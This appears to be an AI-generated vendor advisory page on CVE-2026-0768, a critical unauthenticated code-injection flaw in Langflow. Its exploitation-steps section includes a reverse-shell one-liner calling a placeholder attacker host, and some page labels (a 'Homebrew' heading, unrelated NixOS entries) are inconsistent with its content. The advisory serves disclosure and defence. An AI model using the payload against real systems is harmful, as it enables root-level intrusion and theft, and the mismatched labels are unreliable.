PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet

CVE-2026-0768: 
Homebrew vulnerability analysis and mitigation

Overview

CVE-2026-0768 is a code injection vulnerability in Langflow that allows unauthenticated remote attackers to execute arbitrary code on affected installations. The flaw exists within the handling of the code parameter provided to the validate endpoint, where user-supplied input is passed directly to a Python code execution routine without proper validation. The vulnerability was reported to the vendor on July 18, 2025, and published as a 0-day advisory on January 9, 2026, after the vendor failed to release a patch. It affects Langflow version 1.4.2 and carries a CVSS v3.0 base score of 9.8 (Critical) (ZDI Advisory).

Technical details

The root cause is classified as CWE-94 (Improper Control of Generation of Code / Code Injection): Langflow's validate endpoint accepts a code parameter and passes it unsanitized to a Python execution context, allowing arbitrary Python code to run server-side (ZDI Advisory). The attack vector is network-based, requires no authentication, no user interaction, and low attack complexity, making it trivially exploitable by any remote attacker. Code executes in the context of root, meaning no privilege escalation step is needed post-exploitation. The vulnerability was internally tracked as ZDI-CAN-27322 and was discovered by Peter Girnus (@gothburz), William Gamazo Sanchez, and Alfredo Oliveira of Trend Research (ZDI Advisory).

Impact

Successful exploitation grants an unauthenticated remote attacker full code execution as root on the affected Langflow host, resulting in complete compromise of confidentiality, integrity, and availability. An attacker can read or exfiltrate all data accessible to the process, modify or destroy data, install persistent backdoors, and use the compromised host as a pivot point for lateral movement within the network. Given that Langflow is an AI/LLM workflow platform, sensitive API keys, model configurations, and connected data sources may also be at risk (ZDI Advisory, Feedly).

Exploitability

The ZDI published this as a 0-day advisory on January 9, 2026, after the vendor did not release a patch despite being notified in July 2025 and receiving multiple follow-ups (ZDI Advisory). A proof-of-concept exploit reference is publicly available via the ZDI advisory, and a GitHub exploit entry has also been indexed (vulners ID: 360E931F-6BAA-5EF5-B37A-369E51501924). The EPSS score is approximately 0.0165 (1.65%), and there is no current evidence of confirmed in-the-wild exploitation or CISA KEV catalog listing as of the time of this report. No specific threat actor attribution has been made.

Exploitation steps

  1. Reconnaissance: Identify internet-facing Langflow instances (version 1.4.2) using tools like Shodan or Censys by searching for Langflow-specific HTTP banners or default ports.
  2. Locate the validate endpoint: Send an unauthenticated HTTP request to the Langflow validate API endpoint (e.g., /api/v1/validate/code or equivalent) to confirm it is accessible and responsive.
  3. Craft malicious payload: Construct a request with a code parameter containing arbitrary Python code, such as a reverse shell payload (e.g., import os; os.system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1')) or a command to exfiltrate data.
  4. Submit the request: Send the crafted HTTP POST request to the validate endpoint with the malicious code parameter — no authentication headers or tokens are required.
  5. Achieve root-level code execution: The server executes the injected Python code as root, establishing a reverse shell or completing the attacker's objective (data theft, persistence, lateral movement) (ZDI Advisory).

Indicators of compromise

  • Network: Unexpected outbound connections from the Langflow server to unknown external IPs, particularly on non-standard ports (e.g., reverse shell ports); unusual HTTP POST requests to the /api/v1/validate/code or similar validate endpoint with large or encoded code parameter values.
  • Logs: Langflow application logs showing requests to the validate endpoint with Python code payloads; web server access logs with anomalous POST body sizes or encoded content targeting the validate path.
  • Process: Unexpected child processes spawned by the Langflow Python process (e.g., bash, sh, curl, wget, python3) with network activity; processes running as root that are not typical Langflow operations.
  • File System: New or modified files in the Langflow installation directory, including web shells, cron jobs, or SSH authorized_keys modifications; unexpected scripts or binaries dropped in /tmp or world-writable directories.

Mitigation and workarounds

As of the advisory publication date (January 9, 2026), no vendor patch was available for CVE-2026-0768 (ZDI Advisory). The only recommended mitigation is to restrict network access to Langflow installations — place the application behind a firewall or VPN, limit access to trusted IP ranges only, and avoid exposing the validate endpoint to the public internet. Organizations should consider taking affected Langflow instances offline until a security patch is released. Network segmentation and monitoring for anomalous outbound connections from the Langflow host are also advised as compensating controls.

Community reactions

The vulnerability was covered by The Hacker Wire, which published both a brief vulnerability listing and a dedicated technical article on the unauthenticated code injection in Langflow's validate endpoint (The Hacker Wire). The ZDI's decision to publish as a 0-day after five months of vendor non-response drew attention on social media platforms including Mastodon (infosec.exchange) and Bluesky. The case highlights ongoing concerns about AI/LLM tooling vendors' responsiveness to security disclosures, particularly for platforms that may be deployed with elevated privileges.

Additional resources


Source: This report was generated using AI

Related Homebrew vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-95634HIGH8.6
  • NixOS logoNixOS
  • c2patool
NoYesOct 13, 2026
CVE-2026-95633HIGH7.5
  • NixOS logoNixOS
  • c2patool
NoYesOct 13, 2026
CVE-2026-95632HIGH7.5
  • NixOS logoNixOS
  • c2patool
NoYesOct 13, 2026
CVE-2026-48378MEDIUM5.3
  • NixOS logoNixOS
  • c2patool
NoYesOct 13, 2026
CVE-2026-48377MEDIUM5.3
  • NixOS logoNixOS
  • c2patool
NoYesOct 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management